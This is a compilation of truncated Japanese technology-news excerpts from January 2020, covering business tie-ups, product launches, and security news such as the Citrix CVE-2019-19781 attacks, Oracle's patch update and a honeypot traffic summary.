前回、ヤマハルータ「RTX830」に拡張機能として搭載することができる「アプリケーション制御ライセンスDPI」について、その特徴などを説明しました。今回は、DPIとVPNの関係を紹介しましょう。 DPIを司るシグネチャー 従来のDPIは、レイヤー4レベル(トランスポート層)までのトラフィック識別ができるものが主流でしたが、最新のDPIは、レイヤー7レベル(アプリケーション層)でのトラフィックの識別ができるようになりました。レイヤー７、つまり、アプリケーション層は実際にアプリケーション(ソフトウェア)とやり取りする部分に関するルールが定められているところですが、このレイヤーを識別できると、次のような利点がもたらされます。 (1) SSL/TLSで暗号化されたトラフィックの識別ができる 従来、HTTPベースの通信を行うアプリケーションは、IPヘッダーやTCPヘッダーを検査しても、「HTTP」と

Googleは現地時間14日、アイランドはダブリンに本社を構える企業Pointy買収の契約を交わしたことを公式ブログで発表した。 Pointy Pointyは手のひらに乗る小さなボックスPointy Boxをバーコードスキャナーにつなぎ、店舗や在庫の商品をスキャンすることで自動的にプロダクツページを生成するサービスでGoogleの検索結果との連動させることで手軽に商品の販売チャネルを増やせる。 GoogleのローカルSMB製品担当シニアディレクターであるPeter Chane氏は、Googleが小規模なビジネスの繁栄に長らくコミットしていること、そして店内の在庫情報を管理し、確実にオンライン化することが課題であることを延べ、Pointy買収を発表している。数年前からGoogleのパートナーとしてアイルランドや米国を中心に数千の地元の小規模店舗のオンライン化を行っている。

JR東日本スタートアップとNearMe（以下、ニアミー）は15日、万代タクシー協力のもと、観光タクシー相乗りサービス「新潟トラベルシャトル」の実証実験を、新潟市内において1月18日より開始することを発表した。 観光タクシー相乗りサービス「新潟トラベルシャトル」 「新潟トラベルシャトル」は、AIを活用した観光ニーズのマッチングと送迎ルート最適化の技術を活用する。オンデマンドの事前予約による利便性の向上と相乗りにより一人あたりの負担を下げることで、安価で快適な観光地の周遊を実現させるという。 また、地域の観光資源を発見しやすくする仕組みを構築することで、地域の観光価値向上および地域活性化を目指すということだ。送迎先は新潟駅南口および新潟市内の宿泊施設を対象とし、実験は約2ヶ月を予定している。 利用するには、前日までにWEBサイトにて予約する。観光コースは「観光ドライバーおまかせコース」（1時間

マイデータ・インテリジェンス、Scalar、トレジャーデータ(Arm Treasure Data)の3社は、それぞれの技術を組み合わせた新しい同意管理サービスを2020年3月より共同で提供することを10日、発表した。 昨年末に個人情報保護委員会が「個人情報保護法 いわゆる3年ごと見直し 制度改正大綱（骨子）」を発表するなど日本においても個人情報保護の流れは加速している。ブラウザにおけるCookie(クッキー)などデータ活用の際の明確な同意取得の重要性が増している。 同意管理プラットフォーム概要(同社資料より) パーソナルデータ信託サービス「マイデータ・バンクMEY(ミー)」を提供するマイデータ・インテリジェンスと独自のデータベースを提供するScalarの分散型台帳テクノジー、デジタルマーケティング分野における行動ログデータや属性データなどのカスタマーデータ活用技術を持つTreasure D

米IBMは1月14日(現地時間)、自社で行っているオープンイノベーションおよび責スチュワードシップ(財産管理の職務)への取り組みに関し、LOT Networkに参加すると発表した。LOT Networkは企業各社で構成される非営利コニュニティーで、さまざまなPAE(特許主張主体)から加盟企業を保護する防護壁の構築に取り組むという。 PAEは第三者から特許を取得し、その特許侵害を理由に企業を提訴して利益を得ようとし、膨大な費用につながるだけでなく、イノベーションの妨げになる可能性もあるという。 LOT Networkではｍ200万件を超える特許資産により企業をPAEから保護しており、対象の特許資産がPAEの手に渡った場合、LOT Networkの加盟企業は当該特許のライセンスを受けられ、PAEはその特許の侵害に対して加盟企業を訴えることができなくなる。 同社の加盟により、イノベーション保護、

NECファシリティーズは16日、顧客の生産工場の安定稼働および省エネルギーを目的として、ルネサス セミコンダクタ マニュファクチュアリングの西条工場と川尻工場において、IoT・AIの有効性を検証する実証実験を開始したことを発表した。 実証実験システムのイメージ この実証実験では、これまで手作業で測定していたポンプ・ファンなどの回転機器の振動・温度データを、IoT化したセンサーを用いてリモートで継続的に取得するのに加え、新たに実験用のポンプを設置して疑似的に故障させてデータを収集し、独自のAI判定システムを構築することで、データ収集作業の効率化と、故障予兆検出精度の向上を実現するという。 また、人による異常検知のきっかけである異音の検出をデジタル化するため、多数のインフラ設備が設置されている機械室に騒音測定器を置いて音響による異常検知を行い、早期に異常を検出する実験も同時に実施するという。

パスコと東京農業大学、東京情報大学は1月16日、日本の農業の発展を目指し、包括連携協定を昨年12月23日に締結したと発表した。3者は相互に協力して情報交換を行い農業現場への「スマート農業」普及のための施策立案や、一次産業での新たな空間情報技術活用の可能性を追求するという。 日本の農業を取り巻く環境は、農業者の高齢化や担い手不足、耕作放棄地の増加といった課題を抱えているほか、海外との関係では2018年12月のTPP11協定(環太平洋パートナーシップに関する包括的および先進的な協定)発効に伴う農産物関税化引き下げなど年々厳しい状況となっている。 このような状況下において、政府は農業の生産力を高め、国際競争力の強化を緊急の課題とし、生産性の飛躍的な向上や収益力向上を実現するため、2018年6月に閣議決定した「未来投資戦略2018」に基づき、官民一体となったスマート農業の推進を図っている。 東京農

米IBMは1月14日、年間米国特許取得件数において27年連続首位となったと発表した。米国の特許専門調査会社IFI CLAIMSパテントサービスは毎年、米国特許商標庁(USPTO)に登録された特許数を集計している。 IBMの発明者は2019年、AI、ブロックチェーン、クラウド・コンピューティング、量子コンピューティング、セキュリティなどの技術領域にわたり、9262件の米国特許を取得した。今年は、全米45州と54の国と地域にわたる8500人を超える発明者が、IBMの特許取得に貢献という。 例えば、AIに関しては1800件を超える特許を取得。これには、関連する他のコンテンツを分析することにより、特定の話し言葉の表現や言い回しの裏にあるニュアンスや言外の意味を理解し推論することをAIシステムに学習させる方法などが含まれる。 一方、キヤノンは年間米国特許取得件数3555件で第3位となり、日本企業とし

東京大学 大学院情報理工学系研究科 中村仁彦研究室と、NTTドコモの研究チームは17日、カメラ映像だけからモーションキャプチャを行う技術「VMocap」を応用し、特殊な装置やスーツを用いずに、広い空間における複数人のモーションキャプチャを行う技術を開発したことを発表した。 複数人ビデオモーションキャプチャのイメージ この技術は、解析に用いるべき最適な映像を、複数のカメラから自動的に選択して切り替えることで、広い空間における複数人のモーションキャプチャを行うもの。 人同士の身体が映像上で重なって見える状況下でも、人の骨格構造と運動の連続性と画像認識技術を活用することで頑強に運動を推定でき、複数の選手が激しく動き回るようなシーンでも高精度で滑らかなモーションデータや骨の動きを取得できることを実証したという。 同技術により、スポーツの試合やライブ会場など従来モーションキャプチャが困難だった場所で

ジェーシービー（JCB）と富士通は17日、新たな決済連携プラットフォームを創出するための共同プロジェクトを同日より開始することを発表した。 決済連携プラットフォーム創出による効果 両社は2019年4月、富士通のブロックチェーンによる相互接続技術「コネクションチェーン」を活用したデジタルバリューの決済モデルに関する実証実験を開始した。そして今回、さらに具体的な技術検証や新たなサービスモデルについて検討する共同プロジェクトをスタートする。 個人が持つデジタル通貨や地域通貨、店舗独自ポイントやカードポイントなどのそれぞれの機関がデジタルで管理している価値（デジタルバリュー）を、支払い方式に応じて適切な通貨やポイントに変換し有効活用するための連携プラットフォームの立ち上げを目指すという。 JCBの持つ決済に関する知見と、富士通の技術「コネクションチェーン」を活用し、両社でプラットフォーム開発に向け

ネットワンパートナーズは1月17日、イスラエルのSCADAfenceと国内で初めてValue Added Distributor契約を締結したと発表した。これに伴いネットワンパートナーズは、工場IoTに特化したサイバーセキュリティソフトウェア「SCADAfence Platform」および同製品を活用したセキュリティアセスメントサービスを同日からパートナー企業経由で販売開始する。 SCADAfence Platformの特徴は、工場ネットワークの可視化・分析に特化した点であり、産業制御システムが使用する多様な独自プロトコルの解析を実現するとともに、全通信を工場環境に最適化した機械学習・AIで自動分析することでセキュリティ脅威を検知する。 主な機能として「ネットワーク内の全機器の検出、通信情報・構成情報の可視化」「セキュリティ脅威の予兆検出、潜在リスクの検出・分析」「サプライチェーン企業のリ

Google Chromeチームは1月14日(米国時間)、「Intent to Deprecate and Freeze: The User-Agent string - Google Groups」において、現在User-Agentヘッダを通じて提供している情報を段階的に削減し、最終的にUser-Agentヘッダからトラッキングができないところまで情報量を減らすという計画を発表した。 User-Agentヘッダそのものは削除しないとしているが、提供される情報が減るため、User-Agentヘッダを使ってブラウザやOSの切り分けを行っていた場合は対応が必要になるものと見られる。 Google Chromeチームが発表したタイムラインは次のとおり。

Microsoftは米国時間2020年1月15日、自社パブリッククラウドであるMicrosoft AzureでFHIR(Fast Healthcare Interoperability Resources)をAPIベースでサポートしたことを、公式ブログでアピールした。FHIRは電子カルテを扱うためのデータおよびリソースの標準形式として、2014年2月にドラフト標準を公開。最新版は2019年10月31日公開のリリース4.0.1となる。 AzureポータルからAzure API for FHIRを構築する PaaSとして提供されるAzure API for FHIRについてMicrosoftは、「異なるシステムからのデータ収集と、標準化されたデータ交換をクラウド上で利用可能にし、ヘルスケア企業向けの堅牢なサービスを実現する」と公式ブログで利点を説明した。なお、同APIはRESTful APIや

「いつでもどこでもPythonを使っていたい」という人が世界中にたくさんおり、本連載56回目でiOS上でPythonを使う方法を紹介したところ、AndroidでもPythonを使いたいという要望があった。そこで、今回はTermuxを利用してAndroidでPythonを活用する方法を紹介しよう。 AndroidでPythonを使うには？ 前々回、iOSでPythonを使うには、Pythonistaというアプリを使う方法が最適解であることを紹介した。それでは、Androidではどうかというと、筆者がいろいろ試したところ『Termux』を使う方法が最も心地よかったのでこれを紹介する。 とは言え、TermuxはPythonのためのアプリではない。Termuxとは、Android上でLinuxのターミナルを実行するためのアプリだ。つまり、これを使えば、パソコンのターミナルと同じ雰囲気でPython

チェック・ポイント・ソフトウェア・テクノロジーズの脅威インテリジェンス調査部門であるチェック・ポイント・リサーチ(Check Point Research)は1月15日(タイ・バンコク時間)、「The 2020 Cyber Security Report(2020 サイバー セキュリティ レポート)」を発表した。 同レポートでは、同社の研究者が2019年に発見した攻撃ベクターや手法を紹介している。同年は仮想通貨の価値低下と、3月にCoinhiveのサービスが終了したことで、クリプトマイニング攻撃が減少したものの、世界中の組織の38%がクリプトマイニング攻撃の被害(2018年の37%に比べると増加)があり、これはクリプトマイニング攻撃が低リスクにもかかわらず、サイバー犯罪者は高額な報酬を受け取ることができるからだと指摘している。 また、世界中の組織の28%がボットネットの被害を受け、2018

1月6日週にかけて発生したセキュリティに関する出来事や、サイバー事件をダイジェストでお届け。 ファーウェイ、MediaPad M5 lite 10に脆弱性 ファーウェイのAndroidタブレット「HUAWEI MediaPad M5 lite 10」に脆弱性が確認されている。ファームウェアのバージョンは「8.0.0.182（C00）」。 脆弱性は入力確認に関するもので、メモリの改ざんと任意のコードを実行される可能性がある。脆弱性の深刻度は、共通脆弱性評価システム「CVSS v3」のベーススコアにおいて「9.8」と緊急性が高い。 脆弱性を解消したバージョン「9.1.0.120（C00E120R1P7T8）」がすでに公開されているので、HUAWEI MediaPad M5 lite 10を所持しているユーザーは更新プログラムを適用のこと。 楽天カードを騙るフィッシングメール 楽天カードを騙るフ

2020年はいよいよ日本でも5Gの商用サービスが始まる年となるが、多くの消費者にとって気になるのは、5Gのサービスがいかにお得な形で提供されるかどうかという点ではないだろうか。携帯電話大手の料金プラン、そしてMVNOの5G展開に至るまで、5Gのサービスがどれだけお得な形で提供されるのかを考えてみよう。 大容量プランの料金で「使い放題」になる? 2019年よりプレサービスが実施されていた次世代モバイル通信規格の「5G」だが、2020年の春にはいよいよ商用サービスがスタートする。しかも2020年は東京五輪が実施される年でもあることから、携帯電話各社はスポーツと、ARやVRなど新しい技術を絡めた形で5Gを活用した先進的な取り組みをアピールしてくるものと考えられる。 だが多くの人にとって気になるのは、5Gのサービスがどれだけ安く、お得な形で提供されるのかということではないだろうか。確かに5Gは、条

確とした資料はないが、Macユーザの多くはiPhoneユーザでもあり、iCloudやAirDropなどの機能を使い連携処理を行うことは半ば常識。しかし、その方法は必ずしも最新・最高効率ではないかもしれない。今回は、iOS 13からショートカットアプリに追加された「オートメーション」機能を利用し、一歩進んだMacとの連携術を紹介してみよう。 「ショートカット」でできること iOSのショートカットアプリは、いってしまえば「AutomatorのiOS版」だ。DeskConnect社が開発した「Workflow」を買収し、改良のうえAppleのプロダクトとして公開した経緯はあるものの、「アクション」と呼ばれる機能単位を並び順に処理すること、ファイルなどのデータをアクションを通じて受け渡しできることなど、基本的なコンセプトはほぼそのままと言っていい。MacでAutomatorを利用した経験があれば、

住所やURLなどの短い文章・文字列を他の人へ伝えたいとき、どうしてますか? スマートフォンでいえば、メールやSMS/MMS、SNSアプリのメッセージ機能で伝えることが一般的ですが、それはアドレス交換を済ませている間柄だからできること。初対面の人、それほど親しくない人に伝えるとなると、なかなか大変です。 そんなときに利用したいのが、iOS 12で登場した「ショートカット」。アクションと呼ばれる機能を組み合わせ、いろいろな処理を可能にする自動化アプリです。このアプリを利用し、ちょっとしたプログラムを作ることで、短い文章・文字列をiPhone上でQRコード化できるのです。 まず、「ショートカット」アプリを起動し、画面右上の「+」ボタンをタップしてプログラム(ショートカット)の作成を開始します。表示された画面で「アクションを追加」をタップし、「入力」と検索します。すると名前の一致するアクションがい

パナソニックは、米ラスベガスで開催されたCES 2020において、メイン会場のラスベガスコンベンションセンター（LVCC）への出展のほかに、Tech Westエリアの中心となるSands Expoに90平方メートルの展示スペースを確保。同社で新規事業創出に取り組むShiftall、100BANCHとともに出展した。 ここ数年のCESでパナソニックは、Sands Expoの2階フロアで新事業創出プロジェクトが生んだ製品や技術の展示を行っている。2019年は45平方メートルだったものを、2020年は90平方メートルへと展示規模を倍増。さらに会場の出入り口に近い場所を確保し、例年よりも力が入っていた。 パナソニックがSands Expoに設置したブース パナソニックの津賀一宏社長は、「LVCC（ラスベガスコンベンションセンター）のセントラルホールを中心としたメインエリアは、大企業の出展が中心であ

パナソニックは眼鏡型VRグラスを新開発し、家電・テクノロジー見本市「CES 2020」に参考出展した。メガネっぽいコンパクトサイズで軽いだけでなく、パナソニックのAV関連技術を投入して圧倒的な高画質を実現している点も大きな特徴だ。筆者は今回、このVRグラスの試作機を短時間ながら体験することができた。 パナソニックが「CES 2020」に合わせて発表した「眼鏡型VRグラス」 パナソニックが1月7日に発表した眼鏡型VRグラス。その最大の特徴は、「4Kを超える高解像度で、世界で初めてHDR(ハイダイナミックレンジ)に対応」したことだ。かけたところは、ぱっと見では映画「マトリックス」のモーフィアスや、SFアニメ「攻殻機動隊」のバトーっぽい雰囲気で個人的にニヤリとしてしまうのだが、中身は既存のどのヘッドマウントディスプレイ(HMD)にも引けを取らないハイエンド仕様になっている。 パナソニックの眼鏡型

ハウツー メモアプリの「書類をスキャン」機能って意味あるの?? - いまさら聞けないiPhoneのなぜ 大切なこと、ふと思いついたことなどあれやこれやを書き留めておくときに便利な「メモ」は、iOSに数ある標準装備アプリの中でも定番中の定番です。OSのバージョンアップに伴い、機能強化されていますが、iOS 13で追加された「書類をスキャン」はなかなかの優れものですよ。 この機能は、メモを作成中にカメラアイコンをタップし、「書類をスキャン」を選択することで利用できます。iPhoneのカメラで紙に印刷された文書を写しメモに添付すると、自動的に内容が解析されて検索可能になります。「メモ」アプリにOCR(Optical Character Recognition/Reader、光学的文字認識)機能が搭載された、と解釈してかまいません。 iPhoneの内蔵カメラで撮影しなくても、他のカメラで撮影した写

富士通とUpstream Security Ltd.は、コネクテッドカーのセキュリティ分野で協業することに合意したことを発表した。 今回、両社はコネクテッドカーのためのセキュリティオペレーションセンター（Vehicle Security Operation Center）向けのソリューションを共同で開発していく。 Upstream Securityの持つクラウドベースの自動車用サイバーセキュリティソリューションにより、コネクテッドカーや関連するサービスをサイバーセキュリティの脅威から守ることが可能となっている。 このソリューションを富士通のICT-セキュリティオペレーションセンターに関する技術やビッグデータ処理技術と統合していくとしている。 両社は、コネクテッドカー向けに、車両側のみならずセンター側の脅威を検知するセキュリティソリューションを開発し、2020年中に日本、北米、欧州の自動車メ

DeNAと第一交通産業は、オートモーティブ分野での協業を進めることに合意したことを発表した。 今回の協業では、DeNAが提供するタクシー配車アプリ「MOV（モブ）」の導入を、第一交通産業グループの兵庫県姫路、相生地区で行う。その後、7大都市圏（※）や主要都市での導入について連携して行く予定だ。また、MOVの導入だけではなく、タクシー車載機器の最適化を通じた乗務員の負荷軽減についての実証実験も進めていく。 実証実験の第一弾として、MOVがタクシー乗務員向けに提供する「乗務員端末」にログインする際の負荷を軽減するために、顔認証技術を取り入れる実証実験を実施予定。同実証実験は兵庫県姫路・相生地区で2020年4月からの開始を目指すとしている。 （※）関東大都市圏、中京大都市圏、近畿大都市圏、北九州・福岡大都市圏、札幌大都市圏、仙台大都市圏、広島大都市圏

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます VR Japan、コニカミノルタジャパン、NTTドコモ （ドコモ）は1月17日、2019年12月に行われた「ドコモ5Gオープンラボ Yotsuya（オープンラボ）」での第5世代移動通信方式（5G）を活用した共同実証実験において、360度映像の大容量データを1秒以下という低遅延で配信することに成功したと発表した。 VR Japanが所有する低遅延VR（仮想現実）リアルタイム配信システムを用いて、コニカミノルタジャパンが提供するネットワークカメラ「MOBOTIX」の360度撮影映像をVRヘッドマウントディスプレイに配信。双方向のコミュニケーションが可能な360度VRリアルタイム配信は、医療教育分野や建設現場の安全管理分野などにおける課題の解

NTTデータは1月16日、2019年9月2日より小売業界向けに提供しているレジ無しデジタル店舗出店サービス「Catch&Go」において、「顔認証入店」と「店頭在庫と連携したダイナミックプライシング」を導入したと発表した。 Catch&Goは、レジで支払いをせずに事前に決済手段を登録しQRコードで認証入店することで、手に取った商品をそのまま持ち帰ることのできるレジ無しデジタル店舗出店サービス。 カメラや重量センサーからのデータ解析を得意とする中国のCloudPickと業務提携し、レジ無しデジタル店舗のビジネス化に向けて、3段階のサービスを提供している。 まず、同社が都内に設置した実験店舗で体験をしながら課題の洗い出しとビジネスプランの仮説を顧客と共同で作成。次に、顧客が実際のレジ無しデジタル店舗を出店し、同社と一緒に仮説検証する。最後に、多店舗展開するために企画・設計のコンサルティングやシス

JR東日本の子会社であるJR東日本スタートアップと、「JR東日本スタートアッププログラム2019」の採択企業であるNearMeは、新潟市で業界初の観光タクシー相乗りサービス「新潟トラベルシャトル」の実証実験を1月18日より開始する。 観光タクシー事業に力を入れている県下のタクシー会社である万代タクシーが協力する。車両は、アルファードやハイエースが配車され、状況によっては小型車で運行する場合もあるという。 観光コースとして、観光ドライバーおまかせコース（1時間：1980円、2時間：3980円、3時間：5980円）の3コース、越後豪農の館を体感 北方文化博物館コース（2時間：3980円）、食と酒を愉しむ 市内観光コース（3時間：5980円）を用意する（いずれも税込）。 実証実験では、NearMeのもつAIを活用した観光ニーズのマッチングと送迎ルート最適化の技術を活用。また、NearMeが201

マイクロソフトが、自動車関連企業のスマートモビリティサービスプロバイダーへの転身をテクノロジーで支援し、パートナーエコシステムを拡大することを発表した。 同社は、インテリジェントクラウドやインテリジェントエッジ、IoT、AIサービスなどを提供して自動車業界をサポートし、自動車企業が自らデジタル機能を構築し拡張できるよう支援している。今回の取り組みにより、あらゆる規模の自動車関連組織がスマートモビリティサービスプロバイダーへ変革できるように支援するという。 また、主な指針として車両の製造やエンドユーザー向けのモビリティサービスを提供することはなく、自動車業界全体のパートナーとして事業を展開していき、利用者のデータを収益化することはない。また、自動車関連企業が独自のブランド体験を強化して拡張し、利用者との関係性を拡大できるようサポートするとしている。 同社は、デジタルフィードバックループという

東京大学東京大学・中村研究室と、NTTドコモの研究チームは、同研究室の開発したカメラ映像だけからモーションキャプチャを行う技術「VMocap（ブイモーキャプ）」を応用することで、特殊な装置やスーツを用いずに、広い空間における複数人のモーションキャプチャを行う技術を開発したことを発表した。 複数人ビデオモーションキャプチャのイメージ 同技術は解析に用いるべき最適な映像を、複数のカメラから自動的に選択して切り替えることで、広い空間における複数人のモーションキャプチャを行う。 また、人同士の身体が映像上で重なって見える状況下でも、人の骨格構造と運動の連続性、そして最新の画像認識技術を活用することによって頑強に運動を推定することが可能。フットサルのように複数の選手が激しく動き回るようなシーンでも、高精度で滑らかなモーションデータや骨の動きが取得できることを実証したという。 同技術に加え、東京大学・

KDDIは、トヨタとともに、ルート検索や移動手段の予約・決済までをアプリ上で行い移動をサポートするマルチモーダルモビリティサービス「my route for au（マイ ルート フォー エーユー）」を2020年1月16日より提供開始することを発表した。 同サービスは、トヨタが2019年11月28日より提供開始した「my route」のauスマートパス版として、トヨタとKDDIが共同で提供する。 ナビタイムジャパンが提供するマルチモーダル経路探索エンジンによるルート検索など「my route」の便利な機能に加えて、同サービスのみの特典として交通チケットを割引価格で購入可能だ。 今後同社は、au WALLET ポイントプログラムをはじめとしたauサービスや、移動の目的となるコンテンツ、移動そのものを楽しくするライフデザイン商材との組み合わせなどにより、MaaSサービスとしての向上を目指すとして

JCBと富士通は、新たな決済連携プラットフォームを創出するための共同プロジェクトを1月17日より開始することを発表した。 両社は、個人が持つデジタル通貨や地域通貨、店舗独自ポイントやカードポイントなどのそれぞれの機関がデジタルで管理している価値（デジタルバリュー）を、支払い方式に応じて適切な通貨やポイントに変換し有効活用するための連携プラットフォームの立ち上げを目指す。 近年、デジタル通貨や商店街などで使える地域通貨などの多種多様なデジタルバリューや、ブロックチェーンで管理されている多様なデジタルバリューの決済などが急速に普及している一方で、自分の持つデジタルバリューを管理できず有効活用できていない場合やデジタルバリュー決済の多様性と利便性の向上などの課題もあるという。 JCBと富士通は今回のプロジェクトにおいて、個人が保有する各種の異なるデジタルバリューを連携・変換し、複数のサービスで安

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印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます IBMは、2018年に立ち上げた同社のData Science Elite Teamの陣容を設立時の3倍以上である100人近くにまで拡大し、これまでに130を超える顧客プロジェクトに携わってきているという。 IBMのデータおよび人工知能（AI）担当バイスプレジデントであり、「IBM Cloud」およびコグニティブ（認知）ソフトウェアの最高データ責任者（CDO）でもあるSeth Dobrin氏によると、Data Science Elite Teamは同社のサービスグループから独立したかたちで、ソフトウェア分野の顧客とともに作業するという。また、Data Science Elite Teamは通常、同社ソフトウェアの評価期間中や販売後の顧客

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 花王は電通国際情報サービス（ISID）のソーシャルアナリティクスツール「NetBase」を採用し、本格稼働を開始した。ISIDが1月16日に発表した。ISIDによると、同ツールは顧客のニーズや志向を捉えた製品の研究開発、販売戦略の立案に貢献するという。 花王は消費者と顧客の立場に立った“よきモノづくり”を事業の原点としており、より良い製品を提供するため、先進技術を活用して顧客への理解を深めることに取り組んでいる。同社はその具体策の1つとして、日々移り変わる消費者のニーズや市場動向に、迅速かつ的確に対応するマーケティングプラットフォームの構築を進めている。そして今回、ISIDの企画・提案のもと、SNSデータ分析ツールとしてNetBaseの

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます Oracleは2020年最初の定期セキュリティーアップデート「Critical Patch Update（CPU）」を公開し、334件の脆弱性を修正した。2020年1月のアップデートは、過去最多を記録した2018年7月のアップデートに匹敵する規模となった。 「Oracle Human Resources」に影響する2つのバグは、深刻度が10点中9.9点と評価された。しかし、これらのバグは認証なしでリモートから悪用されることはないという。 ほかには、深刻度9.8の脆弱性が31件、「Oracle WebLogic Server」「Oracle Communications Instant Messaging Server」「Enterpri

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます NECファシリティーズは、ルネサス セミコンダクタ マニュファクチュアリングの西条工場と川尻工場において、人工知能（AI)とIoTの有効性を検証する実証実験を開始した。 従来、手作業で測定していたポンプやファンなどの回転機器の振動・温度データを、センサーを用いて遠隔から継続的に取得する。加えて、新たに実験用のポンプを設置し、疑似的に故障させてデータを収集する。これを学習データとして積み重ね、独自の判定システムを構築する。これらにより、データ収集作業の効率化と故障予兆検出の精度向上を目指す。 具体的には、設備メーカーが管理していないポンプやファンなどを選定して異常を検知する。また、これまで1カ月～数カ月に1回の周期で測定していた振動・温度

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます Citrix Systemsのネットワーク製品「Citrix Application Delivery Controller（ADC）」と「Citrix Gateway」などに存在する脆弱性が12月に報告され、1月以降にこれを悪用する攻撃が拡大している。同社は1月20日から順次修正パッチを公開する予定だが、それまでの緩和策が有効にならない場合もあるといい、製品の使用中止も勧告されている。 今回の脆弱性（CVE-2019-19781）は、任意のコードを実行し得るもので、悪用によってデータの改ざんや流出といった被害が受ける恐れがある。1月11日にこの脆弱性を悪用するコードがインターネット上に公開され、脆弱性の悪用を試みる不正な通信が世界各地

【更新情報】2020年1月16日 新しい攻撃パターンが発生していますので、「攻撃を受けたか・被害が出ているかの確認方法」について追記いたしました。 JSOCアナリストの山坂です。 2019年12月にCitrix社の一部の製品に関する任意のコードを実行可能な脆弱性（CVE-2019-19781）が公開されました。この脆弱性が悪用された場合、データ改ざんや流出などの被害が発生する恐れがあり、非常に危険です。 2020年1月11日には、脆弱性を悪用する攻撃コードがインターネット上に公開されたことをJSOCで確認しています。同日から脆弱性を悪用する攻撃通信を観測し、翌12日に攻撃の急増を確認しています。1月15日時点ではセキュリティパッチのないゼロデイの状況であり、容易に悪用が可能なことから継続して非常に多くの攻撃が行われています。 攻撃通信は、主に設定ファイルを参照する攻撃を観測していますので、

筆者は先週、ラスベガスで開催された「CES 2020」の会場を訪れるまで、ロボットを自分の手で触ってみる経験はほとんどなかった。Boston Dynamicsの製品に関する記事を執筆したこともあって、むしろロボットには懸念を抱いていた。確かに、ロボットには良いこともたくさんあるかもしれないが、「アイ, ロボット」のような映画や「ブラック・ミラー」のようなSFドラマシリーズで植え付けられたイメージを拭い去るのは難しい。CESを訪れたら、もっと懐疑的になるだろうと思っていたが、筆者はショー会場のロボットたちにすぐに魅了されてしまった。 CES初日の夜に開催されたメディアイベント「CES Unveiled」で、筆者は「LOVOT（らぼっと）」と出会った。この小さなペンギンのようなロボットは、会場を動き回って、多くの人の注目を集めていた。筆者が膝をついて写真を撮っていると、いつの間にか、LOVOT

Twitterのヘイトスピーチ対策が十分でないとして、同社への批判が高まっている。今回、同社のルールに明らかに反し、ネオナチなどヘイト集団をターゲットとする広告が許容されていたことについて、Twitterが謝罪した。 Twitterは、人種、宗教、性的指向などの特性に基づいて暴力を促進したり人々を直接的に攻撃したりするなど、ヘイト表現を伴うコンテンツを禁止するポリシーを既に設けている。しかし、BBCは現地時間1月15日、「transphobic」（トランスフォビック）、「white supremacists」（白人至上主義者）、「anti-gay」（反同性愛）などの単語を投稿または検索したユーザーをターゲットとした広告を可能にする不具合が、同プラットフォームにあることを発見したと報じた。 広告主はTwitterのツールを利用することにより、同サービス上でのユーザーの関心や行動に基づいて、特

ユーチューバーに関する情報は、プロフィール名や登録チャンネル、プロフィール写真、チャンネル登録者数、最近のコメントなどがすでに一般に公開されているが、Profile cardはこうした既存のデータを統合して、1カ所で参照できるようにする。 TechCrunchが報じているように、この仕組みは2019年9月に試験運用が始まった。Profile cardには、ユーザーのコメント履歴がすべて表示されるわけではなく、訪問しているチャンネルにおけるコメントだけが表示される。 YouTubeはこの新機能について、「ユーザーがより多くのコメントを確認し、他のユーザーとのつながりを築き、YouTubeを全体としてより友好的な場にすることに貢献できるよう役立てたい」としている。 YouTubeによると、ユーザーはコメントした人のプロフィール写真をタップしてProfile cardを引き出すことができ、Pro

テクノロジー業界が米国の労働者の雇用状況を変え続けている中、Googleは労働者がこの業界で職を得られるよう支援しようとしている。同社は米国時間1月16日、プログラミング言語「Python」などを学べる新しい講座を発表した。Pythonは多くの企業が求めているスキルだ。 GoogleのSundar Pichai最高経営責任者（CEO）は2017年に「Grow With Google」を発表した。 提供：Andrew Federman このプロフェッショナル認定プログラム「Google IT Automation With Python Professional Certificate」は、オンライン教育サービス「Coursera」で提供されている。PythonやGit、ITオートメーションを学ぶ初心者レベルの6講座のプログラムで、最後にタスクの自動化などに取り組むプロジェクトがある。 また

ジェスチャーで操作できる「Motion Sense」に今春対応予定 グーグル「Pixel 4」実力チェック 今回実力をチェックするのは、グーグルのスマートフォン「Pixel 4 64GB」。発売は2019年10月24日で、Google ストアでの販売価格は8万9980円。 Pixel 4の特長をチェック 特長1：レコーダーアプリを使って、音声をテキストに変換できる（現在は英語のみ対応） 特長2：物理SIMとeSIMのDSDS（デュアルSIMデュアルスタンバイ）が可能 特長3：ジェスチャー操作できる「Motion Sense」に2020年春から対応予定

AI（人工知能）という言葉、最近よく耳にしますよね。「テクノロジーが発達していろんな事ができるようになった！」「自分がやっている仕事がAI（人工知能）がやってくれて、楽になるかも！」という声も聞こえてくるでしょう。 AI（人工知能）は近年開発が非常に発達している分野で、開発が進んでいくとともに今後生活により深く関わってくる技術になっていきます。例えば今お手持ちのスマートフォンやパソコン、車に掃除機、冷蔵庫なんかにまで、既に私達の生活にAI（人工知能）という技術は組み込まれています。 中には、AI（人工知能）に対して興味がわいてきて、「AI（機械学習）エンジニアになりたい！」「実際にAI（人工知能）を作成してみたい！」という方もいるでしょう。とはいえ実際に作ってみての理解が一番早いのですが、それもどこから手を付けてよいかわからない方も多いはず。 そこで今回は簡単にできるAI（人工知能）の作り

Honeypot簡易分析(2020/1/16)の簡易分析となります。 PHPUnitのスキャン行為を検知していました。 <Honeytrap> Local Port Top 10 LocalPort Count 1433 481373 件 445 10878 件 3389 610 件 8080 175 件 5432 112 件 52869 83 件 139 65 件 81 62 件 Remote IP Top 10 RemoteIP Count 174[.]139[.]9[.]250 29893 件 190[.]216[.]135[.]202 29884 件 223[.]25[.]72[.]206 29852 件 93[.]76[.]248[.]42 29486 件 36[.]92[.]174[.]101 29374 件 36[.]80[.]153[.]253 23585 件 176[.]

